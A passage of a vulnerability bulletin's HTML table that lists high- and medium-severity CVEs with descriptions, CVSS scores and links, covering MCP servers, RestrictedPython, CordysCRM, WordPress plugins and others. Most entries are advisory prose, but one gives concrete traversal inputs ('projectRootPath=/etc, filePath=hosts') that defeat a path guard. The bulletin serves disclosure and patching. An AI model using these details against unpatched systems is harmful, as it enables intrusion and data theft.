&lt;td&gt;`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Versions prior to 2.1.30 expose the Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim&#039;s local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary. Version 2.1.30 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61568&quot; target=&quot;_blank&quot;&gt;CVE-2026-61568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zfile-dev--zfile&lt;/td&gt;
&lt;td&gt;ZFile through 5.0.5 fails to validate requested file paths against a share link&#039;s allowed entries on the download endpoint. Attackers holding a share link can supply arbitrary file paths as query parameters to download any file under the shared base directory, bypassing the intended access restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91144&quot; target=&quot;_blank&quot;&gt;CVE-2026-91144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zlt2000--microservices-platform&lt;/td&gt;
&lt;td&gt;zlt2000 microservices-platform through 6.0.0 contains a missing authorization vulnerability where the zlt.security.auth.urlPermission.enable flag defaults to false, disabling all permission checks after authentication. Authenticated users with no roles can access administrative APIs including user management, role assignment, and Elasticsearch index operations by bypassing the disabled authorization enforcement.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92466&quot; target=&quot;_blank&quot;&gt;CVE-2026-92466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zlt2000--microservices-platform&lt;/td&gt;
&lt;td&gt;zlt2000 microservices-platform through 6.0.0 contains an unverified password change vulnerability in the PUT /users/password endpoint that allows authenticated users to change any account password by omitting the current password check. Attackers can supply an arbitrary user id in the request body and a new password to overwrite credentials of any non-administrator account without verification.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92467&quot; target=&quot;_blank&quot;&gt;CVE-2026-92467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zlt2000--microservices-platform&lt;/td&gt;
&lt;td&gt;zlt2000 microservices-platform through 6.0.0 contains an authorization bypass vulnerability in the file-center module DELETE /files/{id} endpoint that performs no ownership validation. Authenticated attackers can enumerate file identifiers via GET /files and delete arbitrary users&#039; files and metadata by supplying their identifiers to the delete endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92469&quot; target=&quot;_blank&quot;&gt;CVE-2026-92469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine DataSecurity Plus&lt;/td&gt;
&lt;td&gt;ManageEngine DataSecurity Plus versions before 6310 are vulnerable to an agent authentication bypass, allowing unenrolled agents to send requests without proper authentication.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18911&quot; target=&quot;_blank&quot;&gt;CVE-2026-18911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine DataSecurity Plus&lt;/td&gt;
&lt;td&gt;ManageEngine DataSecurity Plus versions before 6310 are vulnerable to an authenticated SQL injection vulnerability, allowing an authenticated technician to execute arbitrary SQL queries through the Reports module.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18912&quot; target=&quot;_blank&quot;&gt;CVE-2026-18912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zopefoundation--RestrictedPython&lt;/td&gt;
&lt;td&gt;RestrictedPython is a tool that helps define a subset of the Python language for accepting program input in a trusted environment. Prior to 8.4, RestrictedPython could allow a sandbox escape when a custom import policy or globals exposed the standard library string module, the string.Formatter class, a Formatter instance, or a Formatter subclass to restricted code. The string.Formatter methods format, get_field, get_value, and vformat performed attribute and item traversal internally without passing through RestrictedPython&#039;s safer_getattr protections. Restricted code could use those live object references to reach function globals, builtins, file access, or code execution primitives, affecting confidentiality, integrity, and availability in the host environment. This issue is fixed in version 8.4.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76825&quot; target=&quot;_blank&quot;&gt;CVE-2026-76825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zscaler--Client Connector&lt;/td&gt;
&lt;td&gt;A race condition in the ZPA tunnel handler of affected versions of Zscaler Client Connector (ZCC) allows a heap corruption, resulting in a denial of service (client crash) and potentially arbitrary code execution in the context of the ZCC process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25687&quot; target=&quot;_blank&quot;&gt;CVE-2026-25687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zscaler--Client Connector&lt;/td&gt;
&lt;td&gt;An improper input validation vulnerability in Zscaler Client Connector on Android and ChromeOS allows an attacker to potentially bypass Zscaler controls.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59569&quot; target=&quot;_blank&quot;&gt;CVE-2026-59569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zscaler--Client Connector&lt;/td&gt;
&lt;td&gt;On affected versions of Zscaler client connector, a pre-installed peer app can tear down the Zscaler tunnel, force user logout, and toggle packet capture.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59570&quot; target=&quot;_blank&quot;&gt;CVE-2026-59570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--SmartLife&lt;/td&gt;
&lt;td&gt;SmartLife app dynamically generates fresh SmartLife application authentication parameters inside its runtime process. Using the acquired SmartLife application authentication parameters, an attacker can directly call the backend interface /account/verify.serv to obtain the real account ID corresponding to a registered email address. By spoofing the application authentication information together with the target account ID, the attacker can reset the password of the target account.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86553&quot; target=&quot;_blank&quot;&gt;CVE-2026-86553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zyx0814--FilePress&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in zyx0814 FilePress up to 3.0.1. This vulnerability affects unknown code of the file dzz/publish/search.php of the component Publish Module. Such manipulation of the argument orderby/order leads to sql injection. The attack can be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90879&quot; target=&quot;_blank&quot;&gt;CVE-2026-90879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;medium_v&quot;&gt;
&lt;h2 id=&quot;medium_v_title&quot;&gt;Medium Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Medium Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0-Gaurav-0--nexus-mcp&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in 0-Gaurav-0 nexus-mcp aed0026e7ac1f23dc940e46e9fd3a2da6904f914. Affected by this issue is the function child_process.exec of the file src/auth/browser.ts of the component nexus_reauth MCP tool. The manipulation of the argument url results in command injection. The attack may be performed from remote. The exploit is now public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94031&quot; target=&quot;_blank&quot;&gt;CVE-2026-94031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;00Kisumi00--mcp-file-analyzer&lt;/td&gt;
&lt;td&gt;A weakness has been identified in 00Kisumi00 mcp-file-analyzer up to 84740852f0cf0cf5db4781b1ca6d7c6a6d210405. This affects the function ControlFlowNode of the file main.py of the component analyze_csv_data MCP tool. This manipulation of the argument filename causes path traversal. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94037&quot; target=&quot;_blank&quot;&gt;CVE-2026-94037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0215AndrewFeng--ACE-MCP&lt;/td&gt;
&lt;td&gt;A weakness has been identified in 0215AndrewFeng ACE-MCP up to 4.10.8. The affected element is the function get_file_snippet of the file getFileSnippet.ts of the component MCP Tool. Executing a manipulation of the argument projectRootPath/filePath can lead to path traversal. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. isPathInsideProjectRoot only blocks filePath escaping the attacker-chosen projectRootPath; the root itself is untrusted client input - set projectRootPath=/etc, filePath=hosts and the guard passes. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94046&quot; target=&quot;_blank&quot;&gt;CVE-2026-94046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;06ketan--slideshot&lt;/td&gt;
&lt;td&gt;A flaw has been found in 06ketan slideshot up to 4.4.0. This impacts the function render_slides of the file packages/cli/src/renderer.ts. This manipulation of the argument htmlPath causes path traversal. The attack is possible to be carried out remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94049&quot; target=&quot;_blank&quot;&gt;CVE-2026-94049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;0717376--cowork_bench&lt;/td&gt;
&lt;td&gt;A vulnerability was found in 0717376 cowork_bench up to d943e75bc0fc8e3b27141979300cd8cbcd1e890d. Affected by this vulnerability is the function ControlFlowNode of the file local_servers/pdf-tools-mcp/pdf_tools_mcp/server.py of the component pdf-tools-mcp. Performing a manipulation of the argument pdf_file_path results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94051&quot; target=&quot;_blank&quot;&gt;CVE-2026-94051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;10web--Photo Gallery by 10Web Mobile-Friendly Image Gallery&lt;/td&gt;
&lt;td&gt;The Photo Gallery by 10Web - Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via &#039;album_id&#039; Shortcode Attribute in all versions up to, and including, 1.8.44 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. An Author-level user can store a SQL injection payload inside a published post&#039;s shortcode attribute, causing the payload to execute when any visitor renders the post; notably, the unsanitized value appears on both sides of a UNION query, potentially doubling the observable time-based delay.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85652&quot; target=&quot;_blank&quot;&gt;CVE-2026-85652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;10web--Photo Gallery by 10Web Mobile-Friendly Image Gallery&lt;/td&gt;
&lt;td&gt;The Photo Gallery by 10Web - Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Shortcode Attributes in all versions up to, and including, 1.8.44 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86311&quot; target=&quot;_blank&quot;&gt;CVE-2026-86311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. In version 1.7.3, ApprovalResourceService.sendWebHook reads WebHookConfig.webHookUrl from stored approval-node configuration and passes it through ApprovalFlowService.updateApprovalPostField to HttpClientUtils without the SSRF validation used by the optional testConnect path. A user with PROCESS_SETTING_ADD can configure an internal URL through POST /approval-flow/add and cause the server to request it when POST /approval-action/approve executes the approval action, enabling cloud metadata access, internal network reconnaissance, and interaction with reachable internal services. This issue is fixed in version 1.7.4.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76900&quot; target=&quot;_blank&quot;&gt;CVE-2026-76900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. Prior to 1.7.0, the POST /account-pool/page endpoint allows an authenticated caller with MODULE_SETTING:UPDATE to place a crafted sort.name value into a dynamic SQL ORDER BY expression without strict server-side validation of the sorting field. The resulting time-based blind SQL injection can confirm database expression execution, infer database metadata and sensitive values, and introduce database delays that degrade service. This issue is fixed in version 1.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52745&quot; target=&quot;_blank&quot;&gt;CVE-2026-52745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. From 1.7.0 until 1.7.4, POST /account-pool/page allows an authenticated caller with MODULE_SETTING_UPDATE to place an arbitrary database function in SortRequest.name because CustomerPoolController.page omits Spring request validation, SortRequest.getName relies on an incomplete blacklist, and the CommonMapper.xml sort fragment inserts ${sortName} into an ORDER BY clause. Functions such as extractvalue and updatexml bypass the blacklist and can expose database values through an error oracle when the query returns at least one row. This issue is fixed in version 1.7.4.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76899&quot; target=&quot;_blank&quot;&gt;CVE-2026-76899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. Prior to 1.7.4, GET /pool/lead/get/{id} in PoolClueController.get and GET /pool/account/get/{id} in PoolCustomerController.get use bare pool-read permission checks without the CsPermission resourceId binding that enforces per-record data scope. An authenticated user with the ordinary CLUE_MANAGEMENT_POOL:READ or CUSTOMER_MANAGEMENT_POOL:READ permission can supply another record&#039;s id and cause unscoped primary-key getters to return leads or accounts owned by other users, departments, or organizations. Exposed data includes contact names, phone numbers, owner and department attribution, and custom field values. This issue is fixed in version 1.7.4.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76901&quot; target=&quot;_blank&quot;&gt;CVE-2026-76901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--CordysCRM&lt;/td&gt;
&lt;td&gt;CordysCRM is an open source AI-powered customer relationship management system that supports private deployment. Prior to 1.7.4, ShiroFilter configures /attachment/preview/{id} and /pic/preview/{id} as anonymous, and both routes call AttachmentService.getResource, which performs a bare primary-key lookup without ownership, organization, or permission checks. An unauthenticated caller who guesses or observes an id generated by IDGenerator.nextStr can download files uploaded by users in other organizations because the stored organization id is used only to locate the file rather than authorize the caller. This issue is fixed in version 1.7.4.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76902&quot; target=&quot;_blank&quot;&gt;CVE-2026-76902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;201206030--novel-plus&lt;/td&gt;
&lt;td&gt;novel-plus through 5.3.3 contains an information disclosure vulnerability in the /sys/user/list endpoint that lacks proper permission annotations. Authenticated attackers can retrieve password hashes and personal data including email addresses and phone numbers for users within their data scope, enabling offline hash cracking and account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90939&quot; target=&quot;_blank&quot;&gt;CVE-2026-90939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;201206030--novel-plus&lt;/td&gt;
&lt;td&gt;novel-plus through 5.3.3 contains an insecure default cache-management password in the CacheController.refreshCache endpoint that allows anonymous attackers to invalidate portal caches by supplying the hardcoded default value in the URL path. Attackers can trigger unauthorized cache invalidation by accessing the cache/refresh endpoint with the known default password, forcing unnecessary database queries to repopulate the cache.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90940&quot; target=&quot;_blank&quot;&gt;CVE-2026-90940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;201206030--novel-plus&lt;/td&gt;
&lt;td&gt;novel-plus through 5.3.3 contains an authorization bypass vulnerability in the BookController download endpoint that allows authenticated backend accounts to export complete book text including paid chapters. Attackers can supply a bookId and bookName to retrieve all chapter content without VIP or purchase verification, bypassing the permission checks and data-scope limits enforced elsewhere in the admin interface.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90941&quot; target=&quot;_blank&quot;&gt;CVE-2026-90941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;@fastify/static--@fastify/static&lt;/td&gt;
&lt;td&gt;@fastify/static is a Fastify plugin that serves static files from a configured root directory. In versions before 10.1.4, on a case-insensitive filesystem such as Windows or the default macOS volume, a route guard or allowedPath restriction can be bypassed by altering the letter case of a path segment. The route matcher is case-sensitive while the filesystem is not, so a request that changes the case of a protected segment does not match the guarded route and falls through to the static handler, yet the filesystem resolves it to the same protected file. As a result, an unauthenticated request can read a file that a route guard or allowedPath was configured to protect. The issue does not affect case-sensitive filesystems and is not a directory traversal, since nothing is served from outside the configured root. The issue is fixed in @fastify/static 10.1.4, which validates the requested path against its actual on-disk spelling and rejects case-aliased paths before authorization. As a workaround, serve static files from a case-sensitive filesystem, or ensure route guards and allowedPath rules account for every letter-case variant of the protected paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90982&quot; target=&quot;_blank&quot;&gt;CVE-2026-90982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2aproject--a2a-java&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in a2aproject a2a-java 1.2.0. The impacted element is the function AuthorizationRequestHandlerDecorator.onListTasks of the file server-common/src/main/java/org/a2aproject/sdk/server/requesthandlers/AuthorizationRequestHandlerDecorator.java. Such manipulation leads to missing authorization. The attack can be launched remotely. Upgrading to version 1.3.0 is sufficient to resolve this issue. The name of the patch is e9a1abf9c90c02b16d17293afdc3cc2f555d63a6. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90820&quot; target=&quot;_blank&quot;&gt;CVE-2026-90820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2aproject--a2a-python&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in a2aproject a2a-python up to 1.1.3. This affects the function _dispatch_notification of the file src/a2a/server/tasks/base_push_notification_sender.py of the component Push Notification Sender. The manipulation of the argument push_info.url leads to server-side request forgery. Remote exploitation of the attack is possible. Upgrading to version 1.1.4 is able to mitigate this issue. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90790&quot; target=&quot;_blank&quot;&gt;CVE-2026-90790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in a2ui-project a2ui up to 0.10.6. This affects the function processMessages of the file renderers/web_core/src/v0_9/processing/message-processor.ts of the component Message Parsing. This manipulation causes dynamically-determined object attributes. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92217&quot; target=&quot;_blank&quot;&gt;CVE-2026-92217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in a2ui-project a2ui up to 0.10.6. Affected is an unknown function of the file renderers/web_core/src/v0_9/basic_catalog/functions/safe_regex.ts of the component Basic Catalog. Such manipulation leads to inefficient regular expression complexity. The attack can be launched remotely.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92114&quot; target=&quot;_blank&quot;&gt;CVE-2026-92114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in a2ui-project a2ui up to 0.10.6. This impacts the function z.any of the file renderers/web_core/src/v0_9/schema/server-to-client.ts of the component Angular Renderer. Performing a manipulation of the argument primaryColor results in injection. The attack is possible to be carried out remotely. The patch is named fb8e85aec78d04e81feb9992a57638ca1ec4dc1b. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92213&quot; target=&quot;_blank&quot;&gt;CVE-2026-92213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was found in a2ui-project a2ui up to 0.10.7. Affected by this issue is the function openUrl of the file renderers/web_core/src/v0_9/rendering/generic-binder.ts of the component Binder. The manipulation results in open redirect. It is possible to launch the attack remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92216&quot; target=&quot;_blank&quot;&gt;CVE-2026-92216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;a2ui-project--a2ui&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in a2ui-project a2ui 0.9/0.9.1. This issue affects the function updateComponents of the file basic_functions.ts of the component Update Components. Executing a manipulation can lead to resource consumption. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
